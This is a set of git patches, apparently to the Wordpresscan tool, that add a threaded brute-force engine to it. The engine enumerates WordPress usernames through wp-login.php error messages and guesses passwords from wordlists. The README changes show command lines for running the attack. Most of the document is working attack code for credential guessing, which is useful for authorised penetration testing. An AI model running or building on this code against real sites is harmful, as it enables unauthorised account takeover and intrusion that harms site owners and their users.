From d52090579d0c1033b7f88c2f403048d5a2470b58 Mon Sep 17 00:00:00 2001 From: Soka Date: Sat, 14 Oct 2017 18:43:55 +0200 Subject: [PATCH 1/7] Add threading Engine for bruteforce --- engine/brute.py | 42 +++++++++++++++++++++++++-------- engine/thread_engine.py | 51 +++++++++++++++++++++++++++++++++++++++++ engine/wordpress.py | 3 ++- main.py | 3 ++- 4 files changed, 87 insertions(+), 12 deletions(-) create mode 100644 engine/thread_engine.py diff --git a/engine/brute.py b/engine/brute.py index c083cd8..fc076e2 100644 --- a/engine/brute.py +++ b/engine/brute.py @@ -5,10 +5,11 @@ import re import json import os import urllib +import sys from core import * from wordpress import * -from multiprocessing import Process, Pool +from thread_engine import ThreadEngine class Brute_Engine: def __init__(self, wordpress, brute): @@ -42,13 +43,26 @@ class Brute_Engine: with open('fuzz/wordlist.lst') as data_file: data = data_file.readlines() + thread_engine = ThreadEngine(wordpress.max_threads) + users_found = [] for user in data: user = user.strip() - data = {"log":user, "pwd":"wordpresscan"} - if not "Invalid username" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text: - print info("User found "+ user) - self.bruteforcing_pass(wordpress, user) + thread_engine.new_task(self.check_user, (user, users_found, wordpress)) + thread_engine.wait() + + for user in users_found: + self.bruteforcing_pass(wordpress, user) + + + def check_user(self, user, users_found, wordpress): + data = {"log":user, "pwd":"wordpresscan"} + html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text + # valid login -> the submited user is printed by WP + if '
' in html and '%s' % user in html: + print info("User found "+ user) + users_found.append(user) + """ name : bruteforcing_pass(self, wordpress) @@ -60,14 +74,22 @@ class Brute_Engine: with open('fuzz/wordlist.lst') as data_file: data = data_file.readlines() size = len(data) + thread_engine = ThreadEngine(wordpress.max_threads) + found = [False] for index, pwd in enumerate(data): + if found[0]: break pwd = pwd.strip() - data = {"log": user, "pwd": pwd} percent = int(float(index)/(size)*100) + thread_engine.new_task(self.check_pass, (user, pwd, wordpress, found)) - print 'Bruteforcing - {}{}\r'.format( percent*"▓", (100-percent)*'░' ) , + # print 'Bruteforcing - {}{}\r'.format( percent*"▓", (100-percent)*'░' ) + thread_engine.wait() - if not "The password you entered" in requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text: - print warning("Password found for {} : {}{}".format(user,pwd, ' '*100)) - break + + def check_pass(self, user, pwd, wordpress, found): + data = {"log": user, "pwd": pwd} + html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text + if not '
' in html: + print warning("Password found for {} : {}{}".format(user,pwd, ' '*100)) + found[0] = True diff --git a/engine/thread_engine.py b/engine/thread_engine.py new file mode 100644 index 0000000..ff31d1e --- /dev/null +++ b/engine/thread_engine.py @@ -0,0 +1,51 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +from threading import Thread +# from time import sleep +from core import critical, info + + +class ThreadEngine(object): + def __init__(self, max_threads): + if max_threads < 1: + print critical('Threads number must be > 0') + exit() + self.max_threads = max_threads + self.threads = [] + print info('Start %d threads ...' % self.max_threads) + + def new_task(self, task, args): + """ Try to launch the new task, + try again if thread limit exception raised + """ + while True: + try: + self.launch_task(task, args) + except ThreadLimitError: + # sleep(0.1) + continue + break + + def launch_task(self, task, args): + """ Lanch task in a new thread """ + self.clean_threads() + if len(self.threads) < self.max_threads: + t = Thread(target=task, args=args) + self.threads.append(t) + t.start() + else: + raise ThreadLimitError("Reached threads limit") + + def clean_threads(self): + """ Remove ended threads """ + for thread in self.threads: + if not thread.isAlive(): + self.threads.remove(thread) + + def wait(self): + """ Wait for threads end """ + for thread in self.threads: + thread.join() + +class ThreadLimitError(Exception): + pass diff --git a/engine/wordpress.py b/engine/wordpress.py index c40d512..4b14888 100644 --- a/engine/wordpress.py +++ b/engine/wordpress.py @@ -15,10 +15,11 @@ class Wordpress: agent = False users = {} - def __init__(self, url, user_agent, nocheck): + def __init__(self, url, user_agent, nocheck, max_threads): print info("URL: %s" % url) self.url = url self.agent = user_agent + self.max_threads = int(max_threads) self.random_agent() self.clean_url() self.is_up_and_installed() diff --git a/main.py b/main.py index c1ef3c8..f27b790 100644 --- a/main.py +++ b/main.py @@ -32,6 +32,7 @@ if __name__ == "__main__": parser.add_argument('--brute', action ='store', dest='brute', default=None, help="Bruteforce users and passwords") parser.add_argument('--nocheck', action ='store_const', const='nocheck',dest='nocheck', default=False, help="Check for a Wordpress instance") parser.add_argument('--random-agent', action ='store_const', const='random_agent', dest='random_agent', default=False, help="Random User-Agent") + parser.add_argument('--threads', action ='store', dest='max_threads', default=1, help="Number of threads to use") results = parser.parse_args() # Check wordpress url @@ -45,7 +46,7 @@ if __name__ == "__main__": database_update() # Build a new wordpress object - wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck) + wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck, results.max_threads) # Launch bruteforce Brute_Engine(wp, results.brute) From 3ded7a2cf47faba84a845624f1f4c851a1884faa Mon Sep 17 00:00:00 2001 From: Soka Date: Sat, 14 Oct 2017 22:13:29 +0200 Subject: [PATCH 2/7] Updates global options and bruteforce engine --- README.md | 17 +++++++++++------ engine/brute.py | 50 ++++++++++++++++++++++++++++++------------------- main.py | 8 ++++++-- 3 files changed, 48 insertions(+), 27 deletions(-) diff --git a/README.md b/README.md index e2267b7..41e8b19 100644 --- a/README.md +++ b/README.md @@ -33,13 +33,18 @@ python main.py -u "http://localhost/wordpress" --update --random-agent ``` Example 2 : Basic bruteforce (option --brute, option --nocheck) +* bruteforce customs usernames +``` +python main.py -u "http://127.0.0.1/wordpress/" --brute --usernames "admin,guest" --passwords-list fuzz/wordlist.lst +``` +* bruteforce with usernames list +``` +python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst +``` +* bruteforce detected users +``` +python main.py -u "http://127.0.0.1/wordpress/" --brute --passwords-list fuzz/wordlist.lst ``` -python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst -python main.py -u "http://127.0.0.1/wordpress/" --brute admin - ---brute file.lst : Will bruteforce every username and their password ---brute username : Will bruteforce the password for the given username -it will also try to bruteforce the password for the detected users. diff --git a/engine/brute.py b/engine/brute.py index fc076e2..6abe135 100644 --- a/engine/brute.py +++ b/engine/brute.py @@ -12,36 +12,48 @@ from wordpress import * from thread_engine import ThreadEngine class Brute_Engine: - def __init__(self, wordpress, brute): - if brute != None: + def __init__(self, wordpress, brute, usernames, users_list, passwords_list): + # bruteforce customs users passed in --brute + # ex: --brute admin,guest,foo + if brute: + if usernames: + users_to_brute = usernames.split(',') + for user in users_to_brute: + user = user.replace(' ', '') + print notice("Bruteforcing " + user) + self.bruteforcing_pass(wordpress, user, passwords_list) - # Bruteforce username - if os.path.isfile(brute): - self.bruteforcing_user(wordpress) + # Bruteforce with usernames list + elif users_list: + for file_list in [users_list, passwords_list]: + if not os.path.isfile(file_list): + print critical("Can't found %s file" % file_list) + exit() + # launch users & passwords bruteforce + self.bruteforcing_user(wordpress, users_list, passwords_list) + + # if users detected, bruteforce them else: if len(wordpress.users) != 0: - print notice("Bruteforcing detected users") + if not os.path.isfile(passwords_list): + print critical("Can't found %s file" % passwords_list) + exit() + + print notice("Bruteforcing detected users: {}".format(wordpress.users)) for user in wordpress.users: print info("User found "+ user['slug']) - self.bruteforcing_pass(wordpress, user['slug']) + self.bruteforcing_pass(wordpress, user['slug'], passwords_list) - else: - print notice("Bruteforcing " + brute) - print info("User found "+ brute) - self.bruteforcing_pass(wordpress, brute) - - # Exit the bruteforce - exit() """ name : bruteforcing_user(self, wordpress) description : """ - def bruteforcing_user(self, wordpress): + def bruteforcing_user(self, wordpress, users_list, passwords_list): print notice("Bruteforcing all users") - with open('fuzz/wordlist.lst') as data_file: + with open(users_list) as data_file: data = data_file.readlines() thread_engine = ThreadEngine(wordpress.max_threads) users_found = [] @@ -52,7 +64,7 @@ class Brute_Engine: thread_engine.wait() for user in users_found: - self.bruteforcing_pass(wordpress, user) + self.bruteforcing_pass(wordpress, user, passwords_list) def check_user(self, user, users_found, wordpress): @@ -68,10 +80,10 @@ class Brute_Engine: name : bruteforcing_pass(self, wordpress) description : """ - def bruteforcing_pass(self, wordpress, user): + def bruteforcing_pass(self, wordpress, user, passwords_list): print info("Starting passwords bruteforce for " + user) - with open('fuzz/wordlist.lst') as data_file: + with open(passwords_list) as data_file: data = data_file.readlines() size = len(data) thread_engine = ThreadEngine(wordpress.max_threads) diff --git a/main.py b/main.py index f27b790..318a95f 100644 --- a/main.py +++ b/main.py @@ -29,12 +29,16 @@ if __name__ == "__main__": parser.add_argument('--update', action ='store_const', const='update', dest='update', help="Update the database") parser.add_argument('--aggressive', action ='store_const', const='aggressive', dest='aggressive', default=False, help="Aggressive scan for plugins/themes") parser.add_argument('--fuzz', action ='store_const', const='fuzz', dest='fuzz', default=False, help="Fuzz the files") - parser.add_argument('--brute', action ='store', dest='brute', default=None, help="Bruteforce users and passwords") + parser.add_argument('--brute', action ='store_const', const='brute', dest='brute', default=False, help="Bruteforce users and passwords") parser.add_argument('--nocheck', action ='store_const', const='nocheck',dest='nocheck', default=False, help="Check for a Wordpress instance") parser.add_argument('--random-agent', action ='store_const', const='random_agent', dest='random_agent', default=False, help="Random User-Agent") parser.add_argument('--threads', action ='store', dest='max_threads', default=1, help="Number of threads to use") + parser.add_argument('--usernames', action ='store', dest='usernames', default='', help="Usernames to bruteforce") + parser.add_argument('--users-list', action ='store', dest='users_list', default=None, help="Users list for bruteforce") + parser.add_argument('--passwords-list', action ='store', dest='passwords_list', default=None, help="Passwords list for bruteforce") results = parser.parse_args() + print results # Check wordpress url if results.url != None: # Disable warning for ssl verify=False @@ -49,7 +53,7 @@ if __name__ == "__main__": wp = Wordpress(format_url(results.url), results.random_agent, results.nocheck, results.max_threads) # Launch bruteforce - Brute_Engine(wp, results.brute) + Brute_Engine(wp, results.brute, results.usernames, results.users_list, results.passwords_list) # Launch fuzzing Fuzz_Engine(wp, results.fuzz) From c741e93429fef9d107b2e1ea4205c8b36b439259 Mon Sep 17 00:00:00 2001 From: Soka Date: Sat, 14 Oct 2017 22:18:39 +0200 Subject: [PATCH 3/7] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 41e8b19..c5ab4b6 100644 --- a/README.md +++ b/README.md @@ -47,9 +47,9 @@ python main.py -u "http://127.0.0.1/wordpress/" --brute --passwords-list fuzz/wo ``` - +``` ╭─ 👻 swissky@crashlab: ~/Github/Wordpresscan ‹master*› -╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst --nocheck +╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst --nocheck _______________________________________________________________ _ _ _ | | | | | | From 4eb28279f5a49d8226de2fe6129b823a8745f446 Mon Sep 17 00:00:00 2001 From: Soka Date: Sat, 14 Oct 2017 22:18:39 +0200 Subject: [PATCH 4/7] Update README.md --- README.md | 4 ++-- main.py | 1 - 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 41e8b19..c5ab4b6 100644 --- a/README.md +++ b/README.md @@ -47,9 +47,9 @@ python main.py -u "http://127.0.0.1/wordpress/" --brute --passwords-list fuzz/wo ``` - +``` ╭─ 👻 swissky@crashlab: ~/Github/Wordpresscan ‹master*› -╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute fuzz/wordlist.lst --nocheck +╰─$ python main.py -u "http://127.0.0.1/wordpress/" --brute --users-list fuzz/wordlist.lst --passwords-list fuzz/wordlist.lst --nocheck _______________________________________________________________ _ _ _ | | | | | | diff --git a/main.py b/main.py index 318a95f..64ddbd4 100644 --- a/main.py +++ b/main.py @@ -38,7 +38,6 @@ if __name__ == "__main__": parser.add_argument('--passwords-list', action ='store', dest='passwords_list', default=None, help="Passwords list for bruteforce") results = parser.parse_args() - print results # Check wordpress url if results.url != None: # Disable warning for ssl verify=False From c213ee178ad8216bbb4f2e6051aabb5077276843 Mon Sep 17 00:00:00 2001 From: Soka Date: Sat, 14 Oct 2017 22:30:03 +0200 Subject: [PATCH 5/7] Remove debug line in brute engine --- engine/brute.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/engine/brute.py b/engine/brute.py index 6abe135..6a9a488 100644 --- a/engine/brute.py +++ b/engine/brute.py @@ -40,7 +40,7 @@ class Brute_Engine: print critical("Can't found %s file" % passwords_list) exit() - print notice("Bruteforcing detected users: {}".format(wordpress.users)) + print notice("Bruteforcing detected users: ") for user in wordpress.users: print info("User found "+ user['slug']) self.bruteforcing_pass(wordpress, user['slug'], passwords_list) From 1aa1cb9d27c9f55d5e3a36a09f95729244f0b075 Mon Sep 17 00:00:00 2001 From: Soka Date: Sat, 14 Oct 2017 22:30:03 +0200 Subject: [PATCH 6/7] Remove debug line in brute engine --- engine/brute.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/engine/brute.py b/engine/brute.py index 6abe135..6a9a488 100644 --- a/engine/brute.py +++ b/engine/brute.py @@ -40,7 +40,7 @@ class Brute_Engine: print critical("Can't found %s file" % passwords_list) exit() - print notice("Bruteforcing detected users: {}".format(wordpress.users)) + print notice("Bruteforcing detected users: ") for user in wordpress.users: print info("User found "+ user['slug']) self.bruteforcing_pass(wordpress, user['slug'], passwords_list) From 2f48e0e4569df1dd07f5a7c2bf17b1a9f499156a Mon Sep 17 00:00:00 2001 From: Soka Date: Sat, 14 Oct 2017 23:00:52 +0200 Subject: [PATCH 7/7] Handle Connection errors in bruteforce engine --- engine/brute.py | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/engine/brute.py b/engine/brute.py index 6a9a488..d54dea5 100644 --- a/engine/brute.py +++ b/engine/brute.py @@ -5,7 +5,6 @@ import re import json import os import urllib -import sys from core import * from wordpress import * @@ -13,8 +12,6 @@ from thread_engine import ThreadEngine class Brute_Engine: def __init__(self, wordpress, brute, usernames, users_list, passwords_list): - # bruteforce customs users passed in --brute - # ex: --brute admin,guest,foo if brute: if usernames: users_to_brute = usernames.split(',') @@ -69,7 +66,13 @@ class Brute_Engine: def check_user(self, user, users_found, wordpress): data = {"log":user, "pwd":"wordpresscan"} - html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text + while True: + try: + html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text + except: + print critical('ConnectionError in thread, retry...') + continue + break # valid login -> the submited user is printed by WP if '
' in html and '%s' % user in html: print info("User found "+ user) @@ -101,7 +104,13 @@ class Brute_Engine: def check_pass(self, user, pwd, wordpress, found): data = {"log": user, "pwd": pwd} - html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text + while True: + try: + html = requests.post(wordpress.url + "wp-login.php", data=data, verify=False).text + except: + print critical('ConnectionError in thread, retry...') + continue + break if not '
' in html: print warning("Password found for {} : {}{}".format(user,pwd, ' '*100)) found[0] = True